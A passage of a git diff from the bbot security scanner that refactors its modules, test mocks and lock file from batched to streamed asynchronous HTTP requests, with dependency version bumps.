kwargs = {"method": method} urls_and_kwargs.append((url, kwargs, c)) - for url, response, c in await self.helpers.request_batch(urls_and_kwargs): + async for url, response, c in self.helpers.request_batch_stream(urls_and_kwargs): if response is not None: if response.status_code == affirmative_status_code: found_results = True diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index b46b938617..4478b1c482 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -96,10 +96,9 @@ async def handle_event(self, event): urls.add(f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/{endpoint}") num_urls = len(urls) - results = await self.helpers.request_batch( + async for url, response in self.helpers.request_batch_stream( urls, headers=NTLM_test_header, allow_redirects=False, timeout=self.http_timeout - ) - for url, response in results: + ): ntlm_resp = response.headers.get("WWW-Authenticate", "") if not ntlm_resp: continue diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py index 655e76e8a9..51c042a514 100644 --- a/bbot/modules/pgp.py +++ b/bbot/modules/pgp.py @@ -37,7 +37,7 @@ async def query(self, query): results = set() urls = self.config.get("search_urls", []) urls = [url.replace("", self.helpers.quote(query)) for url in urls] - for url, response in await self.helpers.request_batch(urls): + async for url, response in self.helpers.request_batch_stream(urls): keyserver = self.helpers.urlparse(url).netloc if response is not None: for email in await self.helpers.re.extract_emails(response.text): diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 39507c6d7e..e114093cc5 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -299,9 +299,8 @@ async def handle_event(self, event): url = self.create_url(base_url, f"{dh}?dp=1") urls[url] = dh - results = await self.helpers.request_batch(list(urls)) fail_count = 0 - for url, response in results: + async for url, response in self.helpers.request_batch_stream(list(urls)): # cancel if we run into timeouts etc. if response is None: fail_count += 1 diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index 50083906c9..1c96eeaf8d 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -131,7 +131,9 @@ async def brute_buckets(self, buckets, permutations=False, omit_base=False): for bucket_name in new_buckets: url, kwargs = self.build_bucket_request(bucket_name, base_domain, region) bucket_urls_kwargs.append((url, kwargs, (bucket_name, base_domain, region))) - for url, response, (bucket_name, base_domain, region) in await self.helpers.request_batch(bucket_urls_kwargs): + async for url, response, (bucket_name, base_domain, region) in self.helpers.request_batch_stream( + bucket_urls_kwargs + ): existent_bucket, tags = self._check_bucket_exists(bucket_name, response) if existent_bucket: yield bucket_name, url, tags, num_buckets diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index 61d87d2da4..a4e5f052a6 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -3,6 +3,7 @@ import blasthttp +from bbot.core.helpers.web.web import iter_batch_results from bbot.modules.base import BaseModule @@ -182,8 +183,9 @@ async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): canary_results = [] canary_waf_count = 0 - results = await self.blast_client.request_batch(canary_configs, 4, rate_limit=self.rate) - for result in results: + async for result in iter_batch_results( + self.blast_client.request_batch_stream(canary_configs, 4, rate_limit=self.rate) + ): if result.success: canary_results.append(self._batch_response_metrics(result.response)) if await self.helpers.yara.match(self.waf_yara_rules, result.response.body): @@ -313,12 +315,13 @@ async def execute_fuzz( self.debug(f"Fuzzing {len(configs)} URLs for ext [{ext}]") - # Fire all requests via native blasthttp batch (Rust concurrency) - results = await self.blast_client.request_batch(configs, self.concurrency, rate_limit=self.rate) - - # Index results by URL for ordered processing + # Fire all requests via native blasthttp batch (Rust concurrency). + # Stream results into a URL-keyed dict so we can re-process them in + # wordlist order (canary appended last) below. results_by_url = {} - for result in results: + async for result in iter_batch_results( + self.blast_client.request_batch_stream(configs, self.concurrency, rate_limit=self.rate) + ): results_by_url[result.url] = result # Process in wordlist order so canary (appended last) is checked last @@ -389,9 +392,13 @@ async def execute_fuzz( proxy=proxy, ) ] - canary_batch = await self.blast_client.request_batch(canary_configs, 1, rate_limit=self.rate) - if canary_batch and canary_batch[0].success: - canary_metrics = self._batch_response_metrics(canary_batch[0].response) + canary_result = None + async for r in iter_batch_results( + self.blast_client.request_batch_stream(canary_configs, 1, rate_limit=self.rate) + ): + canary_result = r + if canary_result is not None and canary_result.success: + canary_metrics = self._batch_response_metrics(canary_result.response) if not self._is_baseline_match(canary_metrics, ext_filter): self.verbose( f"Would have reported {len(hits)} hit(s), but mid-scan baseline check failed. " diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index dec15b4496..6108626911 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -132,10 +132,11 @@ async def patched_request(self, *args, **kwargs): return result return await original_request(self, *args, **kwargs) - original_request_batch = WebHelper.request_batch + original_request_batch_stream = WebHelper.request_batch_stream - async def patched_request_batch(self, urls, threads=10, **kwargs): + async def patched_request_batch_stream(self, urls, threads=10, **kwargs): import blasthttp + from collections import deque # Run the real entry-parsing and config-building logic unmodified entries = [] @@ -154,38 +155,35 @@ async def patched_request_batch(self, urls, threads=10, **kwargs): entries.append((str(entry), kwargs, None)) if not entries: - return [] + return configs = [] - trackers = [] + trackers_by_url = {} for url, req_kwargs, tracker in entries: url, method, blast_kwargs = self._build_blasthttp_kwargs(url, **req_kwargs) config = blasthttp.BatchConfig(url, **blast_kwargs) configs.append(config) - trackers.append(tracker) - - # Route through mock's batch handler instead of Rust client directly - batch_results = await mock.handle_batch(self.client, configs, concurrency=threads) + trackers_by_url.setdefault(config.url, deque()).append(tracker) from bbot.core.helpers.web.blast_response import BlasthttpResponse - results = [] - for i, br in enumerate(batch_results): + async for br in mock.handle_batch_stream(self.client, configs, concurrency=threads): if br.response is not None: response = BlasthttpResponse(br.response, request_url=br.url, method="GET") else: response = None if has_tracker: - results.append((br.url, response, trackers[i])) + queue = trackers_by_url.get(br.url) + tracker = queue.popleft() if queue else None + yield br.url, response, tracker else: - results.append((br.url, response)) - return results + yield br.url, response WebHelper.request = patched_request - WebHelper.request_batch = patched_request_batch + WebHelper.request_batch_stream = patched_request_batch_stream yield mock WebHelper.request = original_request - WebHelper.request_batch = original_request_batch + WebHelper.request_batch_stream = original_request_batch_stream @pytest.fixture diff --git a/bbot/test/mock_blasthttp.py b/bbot/test/mock_blasthttp.py index a4c2819e15..c4b7c735d2 100644 --- a/bbot/test/mock_blasthttp.py +++ b/bbot/test/mock_blasthttp.py @@ -366,38 +366,28 @@ async def handle_engine_request(self, web_helper_self, *args, **kwargs): return {"_request_error": error_msg, "_response": None} return None - async def handle_batch(self, real_client, configs, concurrency, rate_limit=None): + async def handle_batch_stream(self, real_client, configs, concurrency, rate_limit=None): """ - Process a list of BatchConfig objects through the mock. + Process a list of BatchConfig objects through the mock as an async stream. For each config, if the URL should be intercepted, route it through the - mock handlers. Otherwise pass it through to the real Rust client. - The return value mimics blasthttp's request_batch: a list of BatchResult-like - objects with .url, .response, and .error attributes. + mock handlers. Otherwise pass it through to the real Rust client's + ``request_batch_stream``. Yields BatchResult-like objects with .url, + .response, and .error attributes in mock-first, then passthrough-completion + order. """ mock_configs = [] passthrough_configs = [] - passthrough_indices = [] - for i, config in enumerate(configs): + for config in configs: url = config.url if hasattr(config, "url") else str(config) if self.should_intercept(url): - mock_configs.append((i, config)) + mock_configs.append(config) else: passthrough_configs.append(config) - passthrough_indices.append(i) - # Get real results for passthrough (localhost) URLs - passthrough_results = {} - if passthrough_configs: - real_results = await real_client.request_batch(passthrough_configs, concurrency=concurrency) - for idx, result in zip(passthrough_indices, real_results): - passthrough_results[idx] = result - - # Build results in original order - results = [None] * len(configs) - - for idx, config in mock_configs: + # Yield mock results first — they complete synchronously, no point queuing them + for config in mock_configs: url = config.url if hasattr(config, "url") else str(config) method = getattr(config, "method", "GET") or "GET" headers_raw = getattr(config, "headers", None) or [] @@ -407,20 +397,25 @@ async def handle_batch(self, real_client, configs, concurrency, rate_limit=None) try: response = await self._find_and_execute(url, method, headers, body_str) if response is not None: - # response is a BlasthttpResponse — extract the raw response for BatchResult raw = _MockRawResponse( status=response.status_code, url=url, body=response.text, headers=[(k, v) for k, v in response.headers.items()], ) - results[idx] = _MockBatchResult(url=url, response=raw) + yield _MockBatchResult(url=url, response=raw) else: - results[idx] = _MockBatchResult(url=url, error="mock returned None") + yield _MockBatchResult(url=url, error="mock returned None") except Exception as e: - results[idx] = _MockBatchResult(url=url, error=str(e)) + yield _MockBatchResult(url=url, error=str(e)) - for idx, result in passthrough_results.items(): - results[idx] = result - - return results + # Stream passthrough (localhost) URLs through the real Rust client. + # The native iterator yields lists; normalize to individual items so the + # mock's contract is "one BatchResult per yield" regardless of source. + if passthrough_configs: + async for item in real_client.request_batch_stream(passthrough_configs, concurrency=concurrency): + if isinstance(item, list): + for result in item: + yield result + else: + yield item diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 205db0f542..d469c98afd 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -26,20 +26,22 @@ def server_handler(request): num_urls = 100 - # request_batch + # request_batch_stream urls = [f"{base_url}{i}" for i in range(num_urls)] - responses = await scan.helpers.request_batch(urls) + responses = [] + async for url, response in scan.helpers.request_batch_stream(urls): + responses.append((url, response)) assert len(responses) == 100 assert all(r[1].status_code == 200 and r[1].text.startswith(f"{r[0]}: ") for r in responses) - # request_batch with tracker + # request_batch_stream with tracker urls_and_kwargs = [(urls[i], {"headers": {f"h{i}": f"v{i}"}}, i) for i in range(num_urls)] - results = await scan.helpers.request_batch(urls_and_kwargs) - assert len(results) == 100 - for result in results: - url, response, custom_tracker = result + seen_trackers = set() + async for url, response, custom_tracker in scan.helpers.request_batch_stream(urls_and_kwargs): assert response.status_code == 200 assert response.text.startswith(f"{url}: ") + seen_trackers.add(custom_tracker) + assert seen_trackers == set(range(num_urls)) # request with raise_error=True with pytest.raises(WebError): diff --git a/uv.lock b/uv.lock index 9778d55ddd..13020af80f 100644 --- a/uv.lock +++ b/uv.lock @@ -268,7 +268,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.2.0" }, + { name = "blasthttp", specifier = ">=0.3.2" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, @@ -315,7 +315,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.10" }, + { name = "ruff", specifier = "==0.15.12" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.40" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -450,60 +450,60 @@ wheels = [ [[package]] name = "blasthttp" -version = "0.2.0" +version = "0.4.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/d1/41/74af6a882f37b58883f6f48f7e3d0227f5929f080df63cdf1fd82136d924/blasthttp-0.2.0.tar.gz", hash = "sha256:94b396c79e9a2391ea9c07270d88d6270fa049affaa31b923819d7cb5a40e602", size = 58106, upload-time = "2026-04-03T04:33:27.833Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/9a/a4/145d8626afc086225e57ebe754c6f3e44343608e19154ed9f822640329c2/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:5913eadf36e84034c60b6a86b706992bad7014fb900569809105109d9d25348f", size = 4329675, upload-time = "2026-04-03T04:32:19.759Z" }, - { url = "https://files.pythonhosted.org/packages/3f/42/ae8d820486759d3356c480c3073cb43682af7bc057e8bd9ca7caac376456/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:b69664e2c1f3c7606cc301ee918f0cd8492532394d4e80ee7e501c78c4a29bc0", size = 3659544, upload-time = "2026-04-03T04:32:26.434Z" }, - { url = "https://files.pythonhosted.org/packages/e3/5c/7590c50ef72da9dc170bbcf2e29ab15229cd55a2615653efa33bc00a7b3d/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:c229dc156c4da74592ccc95dc20de66d1ad7b4215137a09a4a54a1fefe12dfec", size = 4220396, upload-time = "2026-04-03T04:32:46.236Z" }, - { url = "https://files.pythonhosted.org/packages/b2/20/dd550b3f39610494e0c23618d79c1b4cb19a918ddd619c840442d5660435/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:ca930a387dd6e9c38b2bf5d1b5afd5228007b53aec470b9e9d3ad199976b45d9", size = 4255998, upload-time = "2026-04-03T04:32:33.043Z" }, - { url = "https://files.pythonhosted.org/packages/13/26/30defc894e1eba93284db99cd5cc2850c0bfaf2c0bdf2cb1864cfb2d305a/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:ed103596860675bd80f62df2329db420e5902e19c6841a7ae48d9e9053f95ba3", size = 3863391, upload-time = "2026-04-03T04:32:39.918Z" }, - { url = "https://files.pythonhosted.org/packages/49/8c/626b70789b1974db181fb9963d592ada74e1ac9caa7df1b7497f33a213e6/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:511b13ac0d36875e3093202c7357c4e0ecf88cae4a222638f9d81399ade008b7", size = 4021982, upload-time = "2026-04-03T04:32:53.562Z" }, - { url = "https://files.pythonhosted.org/packages/d2/01/c75e926f36c646ba9991eef7b47d3e34679267948b5c2ef5ffdee0c1b359/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:93e9a2d5bf92aaa9310f3c2a69f479da508fad9ac0cb4ae9f18ce943bd5bb9a6", size = 4620989, upload-time = "2026-04-03T04:33:00.498Z" }, - { url = "https://files.pythonhosted.org/packages/b5/79/59bfe5a7395543badad6e01413f0a3eac46dec9fc48b5ff5c6a59d76b31a/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:fadd1864fc7da11b56fc455c5609229c8075b72d468cd241bad495cf361f79bf", size = 3962193, upload-time = "2026-04-03T04:33:08.002Z" }, - { url = "https://files.pythonhosted.org/packages/f3/82/2dd1f89f1fbc8528ccb60530263a5a74a3557783ed29bdaba0833268e60f/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e58be764ebfc3b4e49fabd6df6d9d1c050940b585d4bd7655040f5c8713a7c38", size = 4367489, upload-time = "2026-04-03T04:33:14.263Z" }, - { url = "https://files.pythonhosted.org/packages/c8/0b/b6c902c368d3cbce14bad9077a48eac75f87859555f42a34b8ebbf02ed1c/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3689e259334384afd9b6e51b86b40f029f4cbc4d15328ee2df7a3d075b68ee8d", size = 4341965, upload-time = "2026-04-03T04:33:20.566Z" }, - { url = "https://files.pythonhosted.org/packages/ad/c0/90450af2a5dcc623db924a924c0a70adf3e95e2c0f6f3198a1a09ee7f590/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:d5616e6c282b552d06408d6819f0d1a978c26cf2a325190d925f29472463f6b5", size = 4326488, upload-time = "2026-04-03T04:32:21.184Z" }, - { url = "https://files.pythonhosted.org/packages/d1/c1/04b224e27fd0c50e77d5431a0bb3feb68b5e58738ae3b6d3e35b2a0820a5/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:ec670c9e488212b9c19c1ff5d377a18e67a12684dc472378c72646f562bdfea1", size = 3655940, upload-time = "2026-04-03T04:32:27.961Z" }, - { url = "https://files.pythonhosted.org/packages/9a/39/912f3e2868a20046b72282aa3297a555ba84776e1df56972e89b0029a0ba/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:c9d715be62edf5ca5a2b01c51e11a2626d12967b44f99d44aed66dedb1328709", size = 4218146, upload-time = "2026-04-03T04:32:47.8Z" }, - { url = "https://files.pythonhosted.org/packages/59/40/c878f73c60ab585862f51b6ac849041710a93c607abb26a42b868d0271da/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:a61bdaa41d8c2113022b20ed2e766327bdac0ef244a4b7688a46107d31c48f08", size = 4253976, upload-time = "2026-04-03T04:32:34.627Z" }, - { url = "https://files.pythonhosted.org/packages/f0/5c/0ae9a6f55366a1fc20198dd5eb7acbb503f5d4cca66d9a6f6195d7cbf160/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:8ea1c69d08fc95fb6f5ed90cd10175d4218cf96d4d326bfdc3c83de0f60feb03", size = 3859892, upload-time = "2026-04-03T04:32:41.132Z" }, - { url = "https://files.pythonhosted.org/packages/22/4d/6a60b8d386b467c0e8e33152738cc3c33abdee33855fc9af5126023a410d/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:60e97e1a1581a901af7f4442ced0ad17aa6574cfb7d1ac234dd057248df7a14d", size = 4019079, upload-time = "2026-04-03T04:32:55.077Z" }, - { url = "https://files.pythonhosted.org/packages/46/26/e622ecc31f6721d68b6a52426e92968c3fe39e00eecca463fce78921169e/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5f3facae2a0e3be7eca3c7c0b4a112d5ef12fed8c4fe40c38c0b6e433b5ec884", size = 4616754, upload-time = "2026-04-03T04:33:01.864Z" }, - { url = "https://files.pythonhosted.org/packages/c2/38/084209f1f8e5575607ebe6fd7d31cdd95439bec53f525795a67545738c30/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:1b5f046b7571fe311af3b1f2cfac7b907beb072cf0f66b47a906f1a6f7d58cba", size = 3961015, upload-time = "2026-04-03T04:33:09.411Z" }, - { url = "https://files.pythonhosted.org/packages/dc/57/d69490381817665aaecd2b98fa0d616e51b9faf27bde9990e8dd9ee952c4/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:9934310b4e7e9b856b198dc34ef5b856d179cb37938a2f61338c2871bfbefd67", size = 4363684, upload-time = "2026-04-03T04:33:15.501Z" }, - { url = "https://files.pythonhosted.org/packages/39/20/dd70aa7e670e4973508a2fec7eabde0b1073a77763f906b488a5abca124f/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:565d364c78c949772dce9b9f14aa16a00492ef29a55758b5129f39015959f5dc", size = 4339653, upload-time = "2026-04-03T04:33:21.747Z" }, - { url = "https://files.pythonhosted.org/packages/03/94/bfcee47aa6726d3f305090e8ef2b1c3756eda97eedf792df48f4c5a4f9db/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:0313952af506b0810c429bd2e83c7174079646811ee31144a5d2f021863be4ca", size = 4325829, upload-time = "2026-04-03T04:32:22.424Z" }, - { url = "https://files.pythonhosted.org/packages/53/69/412d1b74c06d1ecf52d4a31591b2b9ac02fb1c7bc9ba12ec7a875e815c35/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:ce01d0416fd4a2e0e1c384683d939bc9f24c81075b0e696a5a4b971cbb89ea61", size = 3652836, upload-time = "2026-04-03T04:32:29.445Z" }, - { url = "https://files.pythonhosted.org/packages/83/31/c427e70a70d5f7e26135d3cbc5d238c41ae25ac230a45891096bf49b7569/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:73a63f3f10586893f9fc553d6c1909a27a7262b46758721bc22a7c7ab2048b41", size = 4215009, upload-time = "2026-04-03T04:32:49.262Z" }, - { url = "https://files.pythonhosted.org/packages/fa/a9/4aa4d31ed5bfca64a954ec8b30f239330ecbaa2e7bf8904e072775c02958/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:1c4d80c608ee1d804cd0a31407d20ad6eb6c8b95b364852d811bb3b47f28fb96", size = 4255433, upload-time = "2026-04-03T04:32:35.974Z" }, - { url = "https://files.pythonhosted.org/packages/bd/20/c87ba23fbaeca4b481b57d90f283093291acde26e30fcd532ebef0f9c676/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:83c835a6d22299f14ed829648b4297bdcfa348604d1e9b59af502eb3a425aa3e", size = 3859175, upload-time = "2026-04-03T04:32:42.305Z" }, - { url = "https://files.pythonhosted.org/packages/7e/2d/8150eaeeeb031ddb878dbabfc951bea80c2e5926820a897767c52fa22a8b/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:3bcb5bfeb2cd616dc9e5124377e19bbff4578062c697bc25bbecb89d5bf38c01", size = 4020354, upload-time = "2026-04-03T04:32:56.362Z" }, - { url = "https://files.pythonhosted.org/packages/c9/ca/2e3c76bbcda25cf5b736d45d2291c86417eaa4a49cdfecede7d9395a5989/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1148b5995b587d7cceeaf3216cc37f7c80d5cf47c48a5fc846b5a82bf3a93714", size = 4616044, upload-time = "2026-04-03T04:33:03.42Z" }, - { url = "https://files.pythonhosted.org/packages/7f/9f/47356ba8441beff2a6c728f6a6a8c88e75bc6f7b10b232f4d38fcedbfb81/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:947011d25059e48de9511bb8ff25c738059b81a1305191d9ea65ea03c25c43f6", size = 3958179, upload-time = "2026-04-03T04:33:10.647Z" }, - { url = "https://files.pythonhosted.org/packages/c4/86/0f6dff3c0067e622980253e8f75924437f328a1179cfd3869b1eed472dca/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0a9cd1f6dcf0070e2ccb8275196077de2abd04856718859579d306cbc7a6780e", size = 4360650, upload-time = "2026-04-03T04:33:16.99Z" }, - { url = "https://files.pythonhosted.org/packages/3c/ca/c3456609fa332dde2e87e95549d99d958a511f0295c104ab95b1b490b1e6/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:644eb9861303113a3ff3780e943c72f440835f0f0d3f73f1280ded8e10a4e5f0", size = 4340404, upload-time = "2026-04-03T04:33:23.294Z" }, - { url = "https://files.pythonhosted.org/packages/63/32/04c3fdb7b0ce2f75af24bc908f8eab4d3f1005929554d0994da25485777e/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9f11a353be8da6d7474a4299538b207a14828923bcd7560718453ffc426633ec", size = 4326834, upload-time = "2026-04-03T04:32:23.821Z" }, - { url = "https://files.pythonhosted.org/packages/51/a9/553833776745cb17693cac4dd03b3b38c13b1ff5582dd260ad857e7006da/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:c818ac0b0f4515f7dc08000c09ef51a51edeb46c363650149854c1b449df5e84", size = 3654702, upload-time = "2026-04-03T04:32:30.663Z" }, - { url = "https://files.pythonhosted.org/packages/ec/37/d25564e28a0d7e76aa61d0ba0dba9f2c644536a054f01414df02e5844a5b/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:761668e903581d3fff7ce23e4cfb7d5f81331c3ae90ad9af224c053b28812c16", size = 4212839, upload-time = "2026-04-03T04:32:50.56Z" }, - { url = "https://files.pythonhosted.org/packages/4a/9c/fb281fe2af54bb30851c55973fc96f62d6f910b8a5510e2acb1d6c27011a/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:cb98ca7478a7e09509c3223514c2c3f06aae54d09afe77fd29d42933731f9407", size = 4253492, upload-time = "2026-04-03T04:32:37.448Z" }, - { url = "https://files.pythonhosted.org/packages/3b/f4/a76d12aa5bf9df6020dddd9ae6b79081356d8a338f39f44fcf07ebbf06c5/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:8232cd36ff05be76565d61e6b141b2bddc79e4a359d137a6810767cb5e6f6424", size = 3859735, upload-time = "2026-04-03T04:32:43.583Z" }, - { url = "https://files.pythonhosted.org/packages/1f/5e/5c38aec9625b2dca2290a1f4a0c7e4925dd0d82dbbc00bac7273e415cc32/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:400c95f58b1fbe21ae1209780f27014c47e4b302cbb3c2fcbf18a48c7c59d090", size = 4019837, upload-time = "2026-04-03T04:32:57.578Z" }, - { url = "https://files.pythonhosted.org/packages/48/e5/68a003b4ce28bf9309501bbfe2f1c96341542edeb648f0a3287b223196a4/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:622e4c953b8a70c70d7b0ca6f1d54de1bf0f2ef4eafab9245f6fca9102f4f03b", size = 4616450, upload-time = "2026-04-03T04:33:04.766Z" }, - { url = "https://files.pythonhosted.org/packages/4e/f9/4f73dea2371094ca336aa5a90c4c5171382ba98553552f3e639d4e924316/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d1748052f2f378a56cff91f0c6f567a24e2d24640ab45076013434c870b6abcf", size = 3959757, upload-time = "2026-04-03T04:33:11.859Z" }, - { url = "https://files.pythonhosted.org/packages/b6/f8/921e049ed1a72e7d1d4444b5c457ac020ca88f5b0b39b8a94273b91446db/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2dd4fc6c5da320f2f3a46dba9f05766cdf627a5de8eb6edc249eb10ac6204380", size = 4358090, upload-time = "2026-04-03T04:33:18.156Z" }, - { url = "https://files.pythonhosted.org/packages/70/49/e6d214ea29d874fc62004d5514e562281a3c5b745f06d8cc3f9dd1ae5407/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5e366ed494a4ccff35248d26a88b143d0e784c6741058f360859691e04cd5d75", size = 4340178, upload-time = "2026-04-03T04:33:25.093Z" }, - { url = "https://files.pythonhosted.org/packages/11/ac/db0abd5969e7146fda4fcd6957c479d3dd793185b2f0405a122af275b616/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:5567a9e1be296b165cfd1765f5ae42cfb5cc0d76b2b4eb249cd45ef120a84991", size = 4325710, upload-time = "2026-04-03T04:32:25.211Z" }, - { url = "https://files.pythonhosted.org/packages/a8/83/6c3608324775ab6c0cbaaed926b11e47bfab75bf77cc433371d152919088/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:0c5bcb67b9a9446530d8b7c796dde2cbe7a10c0ef88828bd29520de666587fda", size = 3654962, upload-time = "2026-04-03T04:32:31.824Z" }, - { url = "https://files.pythonhosted.org/packages/98/bf/1fe69d59196ff02f61100b1bb20ad5dc0d41f3159877293fa9b920f65d27/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:4c2a966e6ec4bf57dc080c27c65110592cc2e1eb499073c8c7aa70b0351b8f8d", size = 4213633, upload-time = "2026-04-03T04:32:52.007Z" }, - { url = "https://files.pythonhosted.org/packages/85/0f/862810e581fd8cad5140c549fc0df706f11f3fb7074a1819b52867871c6f/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:b2fcc5a36846e1ab14c2c874bb98b3673275ba1f91128d1d134168e7f0469662", size = 4253218, upload-time = "2026-04-03T04:32:38.697Z" }, - { url = "https://files.pythonhosted.org/packages/81/76/f92fb9b304080453e15fa6cf84c716ac64d21d717e4f850183c56eab7633/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:fa180f2b1ec7db5755b1e267a413f73f3d39ff31f20be1ec033a367ceadd2b65", size = 3858420, upload-time = "2026-04-03T04:32:45.021Z" }, - { url = "https://files.pythonhosted.org/packages/60/5b/418661b162c8a356adfff5266d0937d43ce8a5ae7424f6feddcb58c36020/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:4f32a0df53bc0ec3a7f1b18e7b204b093eb60034ae34b0aad62587b5f79b7767", size = 4020170, upload-time = "2026-04-03T04:32:58.948Z" }, - { url = "https://files.pythonhosted.org/packages/79/7a/56d23094548aca867cbb03b2889c3bce309f59334f1c3dadba1e78204a5a/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d958dc62c2006ecd05660bbfb5f7e549c53d8aa35ee0e3fca51c4d7cdb58d485", size = 4616169, upload-time = "2026-04-03T04:33:06.046Z" }, - { url = "https://files.pythonhosted.org/packages/4d/9c/232492eac2e5f2a6ef232317d9fa0373b7bfe98e2fb72fcf356f8893b4fc/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:ba290ff36e3cf5905f19f008185350ab3c376b73a3064fd776a8b08e56e3dd7d", size = 3958090, upload-time = "2026-04-03T04:33:13.07Z" }, - { url = "https://files.pythonhosted.org/packages/72/3b/584c05f053760f9a68ce743ca34de313b72323fd6a99362af17a466acfa2/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:308e0feb2360b90ceb90c8cf70e29c0b07ec5f3946bf54dfc5124b69b01e99e4", size = 4356563, upload-time = "2026-04-03T04:33:19.333Z" }, - { url = "https://files.pythonhosted.org/packages/c8/8e/f3c0d5563523dcd16705977a75cb460b77f1eac236eee04be33927930160/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = 